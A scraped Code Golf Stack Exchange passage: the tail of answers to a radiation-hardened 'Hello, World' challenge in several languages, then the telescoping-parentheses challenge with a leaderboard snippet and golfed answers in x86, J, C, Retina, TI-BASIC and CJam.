end up with ``` 28 28 sub [bx + si], ch ``` which is a benign instruction on MS-DOS (other flavours might disagree), and then we fall through to code 1, which must be clean, since the damage was in jump 1. If the jump is taken, we land at the second jump: ``` EB D7 D7 jmp -0x29 / db 0xd7 ``` If this byte sequence is intact, and we land right on the mark, that means that code 1 was clean, and this instruction jumps back to that part. The duplicated displacement byte guarantees this, even if it is one of these displacement bytes that were damaged. If we either land one byte off (because of a damaged code 1 or jump 1) or the `0xEB` byte is the damaged one, the two remaining bytes will also here be benign: ``` D7 D7 xlatb / xlatb ``` Whichever the case, if we end up executing those two instructions, we know that either jump 1, code 1, or jump 2 were irradiated, which makes a fall-through to code 2 safe. ## Testing The following program takes the COM filename as an argument, and creates all variants of it, along with a file called `tester.bat`. When run in DOS, this BAT file will run each of the created binaries, redirecting the outputs into one text file per program. ``` #include <stdio.h> #include <stdlib.h> int main(int argc, char **argv) { FILE *fin, *fout, *fbat; int fsize; char *data; if (!(fin = fopen(argv[1], "rb"))) { fprintf(stderr, "Could not open input file \"%s\".\n", argv[1]); exit(1); } if (!(fbat = fopen("tester.bat", "w"))) { fprintf(stderr, "Could not create BAT test file.\n"); exit(2); } fseek(fin, 0L, SEEK_END); fsize = ftell(fin); fseek(fin, 0L, SEEK_SET); if (!(data = malloc(fsize))) { fprintf(stderr, "Could not allocate memory.\n"); exit(3); } fread(data, 1, fsize, fin); fprintf(fbat, "@echo off\n"); for (int i = 0; i < fsize; i++) { char fname[512]; sprintf(fname, "%02d.com", i); fprintf(fbat, "%s > %02d.txt\n", fname, i); fout = fopen(fname, "wb"); fwrite(data, 1, i, fout); fwrite(data + i + 1, 1, fsize - i - 1, fout); fclose(fout); } free(data); fclose(fin); fclose(fbat); } ``` DOSBox, where I tested this, does not have the `fc` command, so another BAT file was created to run under Windows. It compares each text file with the first one to make sure they are all identical: ``` @echo off for %%x in (*.txt) do ( fc %%x 00.txt > nul if ERRORLEVEL 1 echo Failed: %%x ) ``` Ocular inspection of one of the text files is still needed. [Answer] # [Lost](https://github.com/Wheatwizard/Lost), Score 0, 122 bytes ``` >>>>>>>>>>>>>%%/>>>>>>>>>>/ \\ >>>>>>>>>>>>>//>>>>>>>>>>>\\ // /@+-( "vUvdlrow ,olleH"?<< /// /@+-("vUvdlrow ,olleH"? <<< ``` [Try it online!](https://tio.run/##y8kvLvn/3w4ZqKrqIzj6XDExXCjS@kiydkBJfX0ufQdtXQ0FBaWy0LKUnKL8cgWd/JycVA8lexsboDRUHlNWwcbG5v///7qOAA "Lost – Try It Online") It never stops amazing me that [radiation-hardening](/questions/tagged/radiation-hardening "show questions tagged 'radiation-hardening'") are possible in Lost. If you haven't seen Lost before it is a 2-D programming language in which instead of starting execution at a fixed location it chooses a random location and direction and starts there. This makes writing any lost program a bit of a radiation hardening challenge normally, since a program must work from every start location. But now we layer on [radiation-hardening](/questions/tagged/radiation-hardening "show questions tagged 'radiation-hardening'") too and every program must work from every start location. With 122 bytes, four directions and a 28 by 6 bounding box, this means there are approximately 80,000 different programs that must be work. This program is built with a mix of standard lost methods and standard radiation hardening methods. To start here is the normal Hello World for lost: ``` v<<<<<<<<<<>>>>>>>>>>> >%?"Hello, worldvU"-+@ ``` It is comprised of a "collector" which gathers all the stray instruction pointers and points them to the beginning of the actual program. ``` v<<<<<<<<<<>>>>>>>>>>> > v ``` A more detailed explanation of how this program works can be found [here](https://codegolf.stackexchange.com/a/137699/56656). Now we want to modify this program to use the duplicate alignment method of radiation hardening. This method works by having two copies of the desired code and entering them from the end of the line. ``` >>>>>>>>>vv program < program < ``` This way when on of the programs is edited it becomes misaligned and the other one is executed ``` >>>>>>>>>vv progam < program < ``` To do this with our lost program is pretty simple: ``` >>>>>>>>>>>>>>>>>>>>>\\ @+-"Uvdlrow ,olleH"?%< @+-"Uvdlrow ,olleH"?%< ``` However there are some problems with this. The alignment of the `"`s is an issue because it causes infinite loops (in the example above there are basically two strings `">"` lain out vertically, so if you start on the quotes going in the right direction you just push the `>` character endlessly). So you need to make sure the quotes don't line up even when a character has been deleted. ``` >>>>>>>>>>>>>>>>>>>>>>>\\ @+- "Uvdlrow ,olleH"?%< @+-"Uvdlrow ,olleH"?% < ``` Also since `v` is needed to escape the inside of the string it's deletion is potentially a problem. So we need a backup. ``` >>>>>>>>>>>>>>>>>>>>>>>>>\\ @+-( "vUvdlrow ,olleH"?%< @+-("vUvdlrow ,olleH"?% < ``` Now while alignment prevents most pointers from entering the wrong program, if we delete a non-critical character from a program, e.g. ``` >>>>>>>>>>>>>>>>>>>>>>>>>\\ @+-( "vUvdlrow ,olle"?%< @+-("vUvdlrow ,olleH"?% < ``` Then if execution starts on the `%` it doesn't need to care about the alignment at all and it will just execute the bad program. So we need to move `%` *before* the alignment ``` >>>>>>>>>>>>>>>>>>>>>>%%\\ @+-( "vUvdlrow ,olleH"?< @+-("vUvdlrow ,olleH"? < ``` Now another line of collector is needed to fill the gap we made by adding non-redirecting characters to our collector (`%`s). ``` >>>>>>>>>>>>>>%%/>>>>>>>/ >>>>>>>>>>>>>>//>>>>>>>>\\ @+-( "vUvdlrow ,olleH"?< @+-("vUvdlrow ,olleH"? < ``` *(Some small changes are glossed over here mainly just edge casey nonsense)* Now we have to worry about what happens when a newline is deleted. This would normally be ok because the alignment doubling strategy works for these, however for us it opens the door to a lot of potential infinite loops for example in the program: ``` >>>>>>>>>>>>>>%%/>>>>>>>/ >>>>>>>>>>>>>>//>>>>>>>>\\@+-( "vUvdlrow ,olleH"?< @+-("vUvdlrow ,olleH"? < ``` we now have a bunch of columns with no redirecting characters on them, so pointers starting there can just loop up or down endlessly. The trick we use here is to add (nearly) blank lines so that deleting a newline doesn't smash two big lines together. ``` >>>>>>>>>>>>>>%%/>>>>>>>/ >>>>>>>>>>>>>>//>>>>>>>>\\ @+-( "vUvdlrow ,olleH"?< @+-("vUvdlrow ,olleH"? < ``` So if we delete a newline: ``` >>>>>>>>>>>>>>%%/>>>>>>>/ >>>>>>>>>>>>>>//>>>>>>>>\\ @+-( "vUvdlrow ,olleH"?< @+-("vUvdlrow ,olleH"? < ``` Nothing fundamentally changed about our program. However these lines can't be completely blank as it leaves the door open for infinite loops. In fact they need to have at least two (because one could be deleted) redirecting characters. ``` >>>>>>>>>>>>>>%%/>>>>>>>/ // >>>>>>>>>>>>>>//>>>>>>>>\\ // @+-( "vUvdlrow ,olleH"?< // @+-("vUvdlrow ,olleH"? < ``` Now if we delete the last newline our quotes align again: ``` >>>>>>>>>>>>>>%%/>>>>>>>/ // >>>>>>>>>>>>>>//>>>>>>>>\\ // @+-( "vUvdlrow ,olleH"?< //@+-("vUvdlrow ,olleH"? < ``` Which is no good so we use *3* characters on the 3rd filler line: ``` >>>>>>>>>>>>>>%%/>>>>>>>/ // >>>>>>>>>>>>>>//>>>>>>>>\\ // @+-( "vUvdlrow ,olleH"?< /// @+-("vUvdlrow ,olleH"? < ``` From here we arrive at the final program with just some minor fiddling. Iteratively fixing and finding mistakes. I've covered everything I think is interesting, but if you are interested in exactly why this or that just leave a commend and I will add it to the explanation. [Answer] # Befunge-93, Score 0 (63 bytes) I know this isn't a code-golf challenge, but I thought it would be interesting to see if the existing Befunge-93 solution could be improved upon in terms of size. I had originally developed this technique for use in the similar [Error 404](/q/103097/62101) challenge, but the need for a wrapping payload in that case made the 3 line solution more optimal. This isn't quite as good as Martin's Befunge-98 answer, but it's still a fairly significant reduction on the winning Befunge-93 solution. ``` <>> "!dlrow ,olleH">:#,_@ vv ^^@_,#!>#:<"Hello, world!"<<># ``` [Try it online!](http://befunge.tryitonline.net/#code=PD4-ICAiIWRscm93ICxvbGxlSCI-OiMsX0AgIHZ2CiAgXl5AXywjIT4jOjwiSGVsbG8sIHdvcmxkISI8PD4j&input=) **Explanation** There are two versions of the payload. For an unaltered program, the first `<` causes the program to execute right to left, wrapping around to the end of the line, until it reaches a `v` directing it down to the second line, and a `<` directing it left into the left-to-right version of the payload. An error on the second line causes the final `<` to be shifted left and replaced with a `>` directing the flow right instead. The `#` (bridge) command has nothing to jump over, so the code just continues until it wraps around and reaches a `^` at the start of the line, directing it up to the first line, and then a `>` directing it right into the right-to-left payload. Most errors on the first line just cause the final `v` commands to shift across by one, but that doesn't alter the main flow of the code. Deleting the first `<` is slightly different, though - in that case the execution path just flows directly into the left-to-right payload on the first line. The other special case is the removal of the line break. When the code wraps around to the end of the line, in this case it's now the end of the what used to be the second line. When it encounters the `#` command from the right, this jumps over the `>` and thus continues directly into the right-to-left payload. In case there's any doubt, I've also tested with the perl script and it confirmed that "0 failed out of 63". [Answer] # [Gol><>](https://github.com/Sp3000/Golfish), score 0, 38 bytes ``` <<H"Hello, world!"/ H"Hello, world!" < ``` The language is released after the challenge. [Answer] # [!@#$%^&\*()\_+](https://github.com/ConorOBrien-Foxx/ecndpcaalrlp), score 2, 242 bytes ``` !!!!!!!!!!!!!! ^!!!!!!!!!!!!!ddddddddddddddllllllllllllllrrrrrrrrrrrrrrooooooooooooooWWWWWWWWWWWWWW ,,,,,,,,,,,,,,oooooooooooooolllllllllllllllllllllllllllleeeeeeeeeeeeeeHHHHHHHHHHHHHH(((@%%%%%%%%%%%%%%))üü&& ^dlroW ,olleH((@) ``` [Try it online!](https://tio.run/##fcyxDcAgEAPAVZ4iCBSGoMwGdEQI6F6AmI@OwT60bnKdJds1tzJySjx5iChAEWIBDCboIAACDuCOf1TwAGOMv4C1e@2ltVLvTbHw7IHc@a@n663IBw "!@#$%^&*()_+ – Try It Online") Well, I give up. I'm on a mobile phone, so I cannot put the null character there. If someone would be so kind to replace the !!\_+ in the TIO link, I would appreciate it. The two weaknesses are the `^` between the exclamation marks. This is not particularly clever, and most of the characters are just padding. Contains two Unicode characters; the challenge specifications said remove one character, not one byte. The HW is repeated 14 times to be immune to `%` removal or removal in the HW string. !@#$%^&\*()\_+ allow unmatched `(` but not unmatched `)` when parsing, so the left parenthesis is repeated one more time than the right parenthesis. What if the `@` was removed? We can know from the stack size if 13 characters went missing, so we use stack indexing to exit by error if the stack size is too short. Each character is doubled to make sure the test is performed. If the test passed, it means the `@` is the removed character, and none of the characters after the test was removed, so you can put a normal Hello, World program there. I made this one bored afternoon at school with a pencil, but I did not have time to debug and post this until now. Bugs might still be present. [Answer] # [><>](https://esolangs.org/wiki/Fish), score 0, 40 bytes ``` ||o<"Hello, world!"\ |o<"Hello, world!"\ ``` [Try it online!](https://tio.run/##S8sszvj/v6Ym30bJIzUnJ19HoTy/KCdFUSmGC4vY//8A "><> – Try It Online") This is a port of [my klein 000 answer](https://codegolf.stackexchange.com/a/215215/56656). It's a little more costly to output in ><>, but overall this is nicely competitive. This halts by triggering an error, as suggested by JoKing. For my original version that exits properly: # [><>](https://esolangs.org/wiki/Fish), score 0, 54 bytes ``` ||>!;!?o!l<"Hello, world!"\ |>!;!?o!l<"Hello, world!"\ ``` [Try it online!](https://tio.run/##S8sszvj/v6bGTtFa0T5fMcdGySM1JydfR6E8vygnRVEphgu31P//AA "><> – Try It Online") [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal), 9 bytes, score 0 ``` kH0kH ∴¡¡ ``` [Try it Online!](https://vyxal.pythonanywhere.com/#WyJEIiwiOSggICAgICAgICAgICAgICAgICAgIyBsb29wIDkgdGltZVxuV18gICAgICAgICAgICAgICAgICAgIyBjbGVhciBzdGFja1xuYGNoYXIgJSByZW1vdmVkOmBuJSwgIyBwcmludChcImNoYXIgJXMgcmVtb3ZlZDpcIiVuKVxuYCIsImtIMGtIIOKItMKhwqEiLCJg4bii4bmqICAgICAgICAgICAjIHJlbW92ZSBsZWFkaW5nIGFuZCB0cmFpbGluZyBuZXdsaW5lXG5u4oC54ouOICAgICAgICAgICAjIHJlbW92ZSB0aGUgbnRoIGNoYXJcbmBjb2RlOiBg4oK0OiwgICAjIHByaW50KFwiY29kZTogXCIgKyBjb2RlKVxuYG91dHB1dDogYOKCtMSWLCAjIHByaW50KFwib3V0cHV0OiBcIiArIGV2YWwoY29kZSkpXG7CpCwgICAgICAgICAgICAjIHByaW50KCkiLCIiXQ==) ## Explanation : ``` # unaltered kH # push 'Hello, World!' => [ Hello, World! ] 0 # push 0 => [ Hello, World! , 0 ] kH # push 'Hello, World!' => [ Hello, World! , 0 , Hello, World! ] ∴ # max(a,b) => [ Hello, World! , Hello, World! ] ¡¡ # sentence case (twice) => [ Hello, World! , Hello, world! ] # implicit output # 1st char missing H # convert to hex => [ 0 ] 0 # Push 0 => [ 0 , 0 ] kH # push 'Hello, World!' => [ 0 , 0 , Hello, World! ] ∴¡¡ # max and sentence case => [ 0 , Hello, world! ] # 2nd char missing k0 # do nothing => [ ] kH # push 'Hello, World!' => [ Hello, World! ] ∴¡¡ # max and sentence case => [ Hello, world! ] # 3nd char missing kH # push 'Hello, World!' => [ Hello, World! ] kH # push 'Hello, World!' => [ Hello, World! , Hello, World! ] ∴¡¡ # max and sentence case => [ Hello, world! ] # 4th char missing kH # push 'Hello, World!' => [ Hello, World! ] 0 # push 0 => [ Hello, World! , 0 ] H # convert to hex => [ Hello, World! , 0 ] ∴¡¡ # max and sentence case => [ Hello, world! ] # 5th char missing kH # push 'Hello, World!' => [ Hello, World! ] 0 # push 0 => [ Hello, World! , 0 ] k # do nothing => [ Hello, World! , 0 ] ∴¡¡ # max and sentence case => [ Hello, world! ] # 6th same as unaltered # 7th char missing kH # push 'Hello, World!' => [ Hello, World! ] 0 # push 0 => [ Hello, World! , 0 ] kH # push 'Hello, World!' => [ Hello, World! , 0 , Hello, World! ] ¡¡ # sentence case (twice) => [ Hello, World! , 0 , Hello, world! ] # 8th or 9th char missing same as unaltered but sentence case only once ``` Fun fact, the char `0` can be replaced by any of `$123456789₀₄₆₇₈Ȯ` (and maybe some more) and the program is still a solution [Answer] # MSDOS .COM, 51 bytes ``` 00000000: eb18 18e8 0e00 4865 6c6c 6f2c 2057 6f72 ......Hello, Wor 00000010: 6c64 2124 b409 5acd 21c3 ebe7 e7b4 09ba ld!$..Z.!....... 00000020: 2401 cd21 c348 656c 6c6f 2c20 576f 726c $..!.Hello, Worl 00000030: 6421 24 d!$ org 100h jmp .L2 ; SBB [BX+SI],BL if 1B removed db .L2-$ .L0:call .L1 db "Hello, World!$" .L1:mov ah, 9 pop dx int 0x21 ret db 0x11A-$ dup ? ; Actually none .L2:jmp .L0 ; OUT E7, AX if 1B removed db .L0-$ mov ah, 9 mov dx, .L3-1 ; If it goes this way int 0x21 ; then 1 byte missing ret .L3:db "Hello, World!$" ``` gastropner suggests me do this Collection of all programs with at most 1 byte removed in base64, confirmed ``` /Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4NX/AgVdACCLvBunjDQGwDuQeO2LBXimvB64zX4rztWL/i5Av150lJoeOSHW05X92oDP65IyBlb67MdiB3tAoqaEfRm3gzRuAXuwZhHgJsxZs0QpbeW6y0O+IUD3a6M3dV4n+YbVbdSu8MWbR9qg76ck36pl5sy9kzvUv9hcAczs00fsjGJS10OdrU6sDxTIOpMk13Z+WxChUK04r19vxvShWbKDb2pZawGxFVJ2Sks0JvZNOJExJQx8l0fa6sSqQtOJR4oWVmOf/lePTc/ZDE3pz2nVPYgxQeLN31fGGeoso1JwWvr3sDyL6v49m2ZR9y0fVwc/nactXKMTJLzKmxSuwq6azF2f6ddf+0OL5fgVgccV5M1P9lQ6WV+sp80RWo1ceO8OJWmvIGM3ZTcl7ZcYqWUxQyvqAp0aL9ZDvXJhnybKXDSKOhzjtLcKM/07aCsVmBe5hZwllSnjiAOwKeH/8KyP/Uxfwl0xO5zyWshxWa0Znji7HAQH9ais1UHVHAP9P9EQF+g0rU5WehexGtrRg74lGF9/hUSepXTZZAZLpMURXJC9zlhkAj7xKsL3Lmm/yNZyETgDiZMB2kD/k3js5jDnmAZjU15KkYHpuNVsjsFcP6ERVipU4b3WRGCjsMgzbTcN1naVFUNOWXLGcvdY2Y5o2Wf2+TMTD275J51Db4aNUX8rIRd3NUwAAAAASNVP9/NyC/kAAaEEgKwDAKrxg/KxxGf7AgAAAAAEWVo= ``` [Answer] # [R](https://www.r-project.org/) [REPL](https://codegolf.meta.stackexchange.com/q/7842/95126)\*, ~~204~~ ~~137~~ ~~130~~ 99 bytes, score 0 \**(or any other R environment in which errors do not halt execution of subsequent commands: entering the program into the R interactive console works fine; alternatively (and as simulated in the TIO link) we can use the command-line option `-e 'options(error=function(){})'` (which would then define the language as "`R -e 'options(error=function(){})'`").* ``` a="Hello, world!"##" b="Hello, world!"##" T=cat(`if`(exists("a")&&(nchar(a)==13),a,b)); if(T)cat(a) ``` [Try it online!](https://tio.run/##bctBCsIwEEDRfU@hUygzkI24lNl7gB6g05hgIGRkElGQnj2le5f/wbeur5a0VAxmahzfxR@N9NuoC8M95Kzu9FHLjzOMIwzrP5zZS8MlxQXDN9VWEQRomrD4pxgKMV@u5MStRLchRZzpGIR63wE "R – Try It Online") **Explanation:** Lines 1 & 2: At least one of `a` or `b` should contain the text `"Hello, world!"` even if any character is deleted: * any deletion inside one quoted string shouldn't affect the other; * deletion of any of `a="` will simply error without assigning `a` (or the same for `b`); * deletion of the second `"` will assign ```"Hello, world!##"```` to that string without affecting the other; * deletion of any of `##"` has no effect; * deletion of the first newline will convert the following line into a comment and prevent assignment of `b`, without affecting `a`; * deletion of the second newline will convert the following line into a comment, without affecting either `a` or `b` (see line 3 below). Line 3: Aims to output one of `a` or `b` that exists and is the correct, 13-character `"Hello, world!"` string, or to error. If it succeeds without erroring, the variable `T` is re-assigned to `NULL` (instead of its default value of `TRUE`). * deletion of any of `T=`, `cat()`, ``if`(,,b)`, `exists("a")`, or `nchar(a)==` will error and fail to re-assign `T`. * deletion of any of `13` will select `b` instead of `a` to output; however, since this was the single deletion made, `b` is intact so this is Ok. * deletion of either `;` or the third newline has no effect; * if the entire line is commented-out (by deletion of the second newline), it will not re-assign `T`. Line 4: If `T` is not NULL, then either an error has occurred (so the deletion was on line 3), or the second newline was deleted (so line 3 was commented-out). In either case `a` should be the correct `"Hello, world!"` string, and nothing has yet been output, so we can safely output `a`. Any deletion to this line should cause an error so that it doesn't output anything to stdout. * deletion of any of `if(T)` will error; * if `T` is `NULL` (so no error has yet occurred, and line 3 ran Ok), `if(T)` will error and this line will not output anything. * if `T` is still `TRUE`, then the single deletion already happened on another line, so we shouldn't need to worry about further deletions on this line. ]
[Question] [ Consider a non-empty string of correctly balanced parentheses: ``` (()(()())()((())))(()) ``` We can imagine that each pair of parentheses represents a ring in a collapsed [telescopic construction](http://en.wikipedia.org/wiki/Telescoping_(mechanics)). So let's extend the telescope: ``` ( )( ) ()( )()( ) () ()() ( ) () ``` Another way to look at it is that the parentheses at depth *n* are moved to line *n*, while keeping their horizontal position. Your task is to take such a string of balanced parentheses and produce the extended version. You may write a program or function, taking input via STDIN (or closest equivalent), command-line argument or function parameter, and producing output via STDOUT (or closest equivalent), return value or function (out) parameter. You may assume that the input string is valid, i.e. consists only parentheses, which are correctly balanced. You may print trailing spaces on each line, but not any more leading spaces than necessary. In total the lines must not be longer than twice the length of the input string. You may optionally print a single trailing newline. ## Examples In addition to the above example, here are a few more test cases (input and output are separated by an empty line). ``` () () ``` ``` (((()))) ( ) ( ) ( ) () ``` ``` ()(())((()))(())() ()( )( )( )() () ( ) () () ``` ``` ((()())()(()(())())) ( ) ( )()( ) ()() ()( )() () ``` **Related Challenges:** * **[Topographic Strings](https://codegolf.stackexchange.com/q/6600/8478)**, which asks you to produce what is essentially the complement of the output in this challenge. * **[Code Explanation Formatter](https://codegolf.stackexchange.com/q/49016/8478)**, a broad generalisation of the ideas in this challenge, posted recently by PhiNotPi. (In fact, PhiNotPi's original description of his idea was what inspired this challenge.) ## Leaderboards Huh, this got quite a lot of participation, so here is a Stack Snippet to generate both a regular leaderboard and an overview of winners by language. To make sure that your answer shows up, please start your answer with a headline, using the following Markdown template: ``` # Language Name, N bytes ``` where `N` is the size of your submission. If you improve your score, you *can* keep old scores in the headline, by striking them through. For instance: ``` # Ruby, <s>104</s> <s>101</s> 96 bytes ``` ``` function answersUrl(e){return"http://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function getAnswers(){$.ajax({url:answersUrl(page++),method:"get",dataType:"jsonp",crossDomain:true,success:function(e){answers.push.apply(answers,e.items);if(e.has_more)getAnswers();else process()}})}function shouldHaveHeading(e){var t=false;var n=e.body_markdown.split("\n");try{t|=/^#/.test(e.body_markdown);t|=["-","="].indexOf(n[1][0])>-1;t&=LANGUAGE_REG.test(e.body_markdown)}catch(r){}return t}function shouldHaveScore(e){var t=false;try{t|=SIZE_REG.test(e.body_markdown.split("\n")[0])}catch(n){}return t}function getAuthorName(e){return e.owner.display_name}function process(){answers=answers.filter(shouldHaveScore).filter(shouldHaveHeading);answers.sort(function(e,t){var n=+(e.body_markdown.split("\n")[0].match(SIZE_REG)||[Infinity])[0],r=+(t.body_markdown.split("\n")[0].match(SIZE_REG)||[Infinity])[0];return n-r});var e={};var t=0,c=0,p=-1;answers.forEach(function(n){var r=n.body_markdown.split("\n")[0];var i=$("#answer-template").html();var s=r.match(NUMBER_REG)[0];var o=(r.match(SIZE_REG)||[0])[0];var u=r.match(LANGUAGE_REG)[1];var a=getAuthorName(n);t++;c=p==o?c:t;i=i.replace("{{PLACE}}",c+".").replace("{{NAME}}",a).replace("{{LANGUAGE}}",u).replace("{{SIZE}}",o).replace("{{LINK}}",n.share_link);i=$(i);p=o;$("#answers").append(i);e[u]=e[u]||{lang:u,user:a,size:o,link:n.share_link}});var n=[];for(var r in e)if(e.hasOwnProperty(r))n.push(e[r]);n.sort(function(e,t){if(e.lang>t.lang)return 1;if(e.lang<t.lang)return-1;return 0});for(var i=0;i<n.length;++i){var s=$("#language-template").html();var r=n[i];s=s.replace("{{LANGUAGE}}",r.lang).replace("{{NAME}}",r.user).replace("{{SIZE}}",r.size).replace("{{LINK}}",r.link);s=$(s);$("#languages").append(s)}}var QUESTION_ID=49042;var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe";var answers=[],page=1;getAnswers();var SIZE_REG=/\d+(?=[^\d&]*(?:&lt;(?:s&gt;[^&]*&lt;\/s&gt;|[^&]+&gt;)[^\d&]*)*$)/;var NUMBER_REG=/\d+/;var LANGUAGE_REG=/^#*\s*([^,]+)/ ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;width:290px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src=https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js></script><link rel=stylesheet type=text/css href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"><div id=answer-list><h2>Leaderboard</h2><table class=answer-list><thead><tr><td></td><td>Author<td>Language<td>Size<tbody id=answers></table></div><div id=language-list><h2>Winners by Language</h2><table class=language-list><thead><tr><td>Language<td>User<td>Score<tbody id=languages></table></div><table style=display:none><tbody id=answer-template><tr><td>{{PLACE}}</td><td>{{NAME}}<td>{{LANGUAGE}}<td>{{SIZE}}<td><a href={{LINK}}>Link</a></table><table style=display:none><tbody id=language-template><tr><td>{{LANGUAGE}}<td>{{NAME}}<td>{{SIZE}}<td><a href={{LINK}}>Link</a></table> ``` [Answer] # x86 machine code, ~~39~~ ~~34~~ ~~33~~ ~~30~~ 29 bytes ``` 00000000 68 c3 b8 07 31 ff be 82 00 b3 a0 ad 4e 3c 28 7c |h...1.......N<(|| 00000010 f0 77 05 ab 01 df eb f3 29 df ab eb ee |.w......)....| 0000001d ``` x86 assembly for DOS, with some tricks: ``` org 100h section .text start: ; point the segment ES to video memory ; (c3 is chosen so that it doubles as a "ret") push 0b8c3h pop es ; di: output pointer to video memory xor di,di ; si: input pointer from the command line mov si,82h ; one row=160 bytes (assume bh=0, as should be) mov bl,160 lop: ; read & increment si (assume direction flag clean) ; we read a whole word, so that later we have something nonzero to ; put into character attributes lodsw ; we read 2 bytes, go back 1 dec si ; check what we read cmp al,'(' ; less than `(`: we got the final `\n` - quit ; (we jump mid-instruction to get a c3 i.e. a ret) jl start+1 ; more than `(`: assume we got a `)` ja closed ; write a whole word (char+attrs), so we end ; one position on the right stosw ; move down add di,bx ; rinse & repeat jmp lop closed: ; move up sub di,bx ; as above stosw jmp lop ``` *Limitations*: * it always prints starting at the bottom of the screen, without erasing first; a `cls` before running is almost mandatory; * the colors are ugly; that's the consequence of recycling the next character as color attributes to save two bytes here and there; * the code assumes `bh=0` and the direction flag clear on start, both undocumented; OTOH, `bx` is explicitly set to zero in all DOS variants I saw (DosBox, MS-DOS 2, FreeDOS), and everywhere I tested the flags were already OK. ![enter image description here](https://i.stack.imgur.com/hwpmW.png) [Answer] ## J, ~~32~~ 28 bytes This was a fun one. ``` 0|:')(('&(i.-<:@+/\@i:){."0] ``` ### Explanation This is how this solution works, including an explanation of how it has been golfed. ``` NB. Let a be a test case a =. '((()())()(()(())()))' NB. level alterations _1 + ').(' i. a 1 1 1 _1 1 _1 _1 1 _1 1 1 _1 1 1 _1 _1 1 _1 _1 _1 NB. absolute levels +/\ _1 + ').(' i. a 1 2 3 2 3 2 1 2 1 2 3 2 3 4 3 2 3 2 1 0 NB. adjusted levels (+/\ _1 + ').(' i. a) - ')(' i. a 0 1 2 2 2 2 1 1 1 1 2 2 2 3 3 2 2 2 1 0 NB. take level from end of each item of a and transpose |: a {."0~ _1 - (+/\ _1 + ').(' i. a) - ')(' i. a ( ) ( )()( ) ()() ()( )() () NB. code as a tacit verb [: |: ] {."0~ _1 - ([: +/\ _1 + ').(' i. ]) - ')(' i. ] NB. subtractions pulled into the prefix insert [: |: ] {."0~ (')(' i. ]) - [: <:@+/\ ').(' i. ] NB. i: instead of i. so we can use the same string constant [: |: ] {."0~ (')((' i. ]) - [: <:@+/\ ')((' i: ] NB. get rid of the caps 0 |: ] {."0~ (')((' i. ]) - ')((' <:@+/\@i: ] NB. join the two usages of ')((' into a single dyadic phrase 0 |: ] {."0~ ')((' (i. - <:@+/\@i:) ] NB. bond ')((' and flip arguments to {."0 0 |: ')(('&(i. - <:@+/\@i:) {."0 ] ``` [Answer] # C, 150 bytes ``` t;f(char*c){char l=strlen(c)+1,o[l*l],*A=o,m=0;for(t=1;t<l*l;t++)o[t-1]=t%l?32:10;for(t=-1;*c;c++)A++[l*(*c-41?++t>m?m=t:t:t--)]=*c;A[m*l]=0;puts(o);} ``` This was *crazy* fun to golf. I'm still not convinced I'm done with it. We define a single function, `f`, that takes the string as input and outputs to stdout. Let's go through the code, line by line: ``` /* t will represent the current depth of a parentheses. It must be an int. */ t; f(char*c){ //Our variables: char l=strlen(c)+1, //The length of each row of output, including newlines o[l*l], //The output string. It's way larger than it needs to be. *A=o, //We need another pointer to keep track of things. m=0; //The maximum depth recorded thus far. for(t=1;t<l*l;t++) //For each character in our output... o[t-1]=t%l?32:10; //If it's at the end of a line, make it '\n'. Else, ' '. for(t=-1;*c;c++) //While we have an input string... //Perhaps a personal record for ugliest warning-less line... A++[l*(*c-41?++t>m?m=t:t:t--)]=*c; /* A breakdown: A++ --> Go to the next *column* of output, after writing. --> There will only ever be one parentheses per output column. [l*(...)] --> A[l*X] is the character in the current column at depth X. (*c-41? --> If the character is a '('... ++t>m? --> Increment t *before* we write it. If this is a new highest depth m=t: --> Set m to t, and set the whole expression to t. t: --> If it's not a new highest depth, don't set m. t--) --> If the character was a ')', decrement t *after* we write it. =*c --> Write our output character to whatever the input read. */ A[m*l]=0; //The last character of the maximum-depth line should be null terminated. puts(o); //Output! } ``` I'll answer any questions you may have! Try a test program [online](http://ideone.com/v5nyZ5)! [Answer] # Retina + Bash, 27 bytes (14 + 10 + 3 = 27) This makes use of ANSI Escapes: ``` \( (\e[B \) \e[A) ``` Equivalent to `sed -e "s/(/(\\\e[B/g;s/)/\\\e[A)/g"`. The `\e[B` escape code means move cursor down one row, and the `\e[A` means move cursor up one row, so this solution simply inserts those codes after and before the start and end of each nested pair of parentheses. Input is passed through STDIN. You'll have to call it as `printf $(Retina ...)` to see the output correctly. ## Output ``` (((()))) (\e[B(\e[B(\e[B(\e[B\e[A)\e[A)\e[A)\e[A) ^C amans:~ a$ printf "(\e[B(\e[B(\e[B(\e[B\e[A)\e[A)\e[A)\e[A)" ( )amans:~ a$ ( ) ( ) () ((()())()(()(())())) (\e[B(\e[B(\e[B\e[A)(\e[B\e[A)\e[A)(\e[B\e[A)(\e[B(\e[B\e[A)(\e[B(\e[B\e[A)\e[A)(\e[B\e[A)\e[A)\e[A) ^C amans:~ a$ printf "(\e[B(\e[B(\e[B\e[A)(\e[B\e[A)\e[A)(\e[B\e[A)(\e[B(\e[B\e[A)(\e[B(\e[B\e[A)\e[A)(\e[B\e[A)\e[A)\e[A)" ( )amans:~ a$ ( )()( ) ()() ()( )() () ``` [Answer] # TI-BASIC, ~~69 60 56~~ 55 bytes This is for the TI-83+/84+ family of calculators, although it was written on an 84+ C Silver Edition. The program shows up as larger on-calc due to VAT+size info being included. Also, there are more than 56 characters here; the reason it's 56 bytes is because all commands that are more than one character are compressed down to tokens that are either one or two bytes in size. ``` Input Str1 1→B For(A,1,length(Str1 sub(Str1,A,1→Str2 Ans="( Output(B+Ans,A,Str2 B-1+2Ans→B End ``` Shaved off another byte thanks to [thomas-kwa](http://stackexchange.com/users/5456847/thomas-kwa)! (also from him was the jump from 60 to 56.) [Answer] # CJam, ~~17~~ ~~16~~ 15 bytes ``` 0000000: 72 3a 69 22 28 0b 20 9b 41 29 22 53 2f 66 3d r:i"(. .A)"S/f= ``` The above is a reversible xxd dump, since the source code contains the unprintable characters VT (0x0b) and CSI (0x9b). Like [this answer](https://codegolf.stackexchange.com/a/49118), it uses [ANSI escape 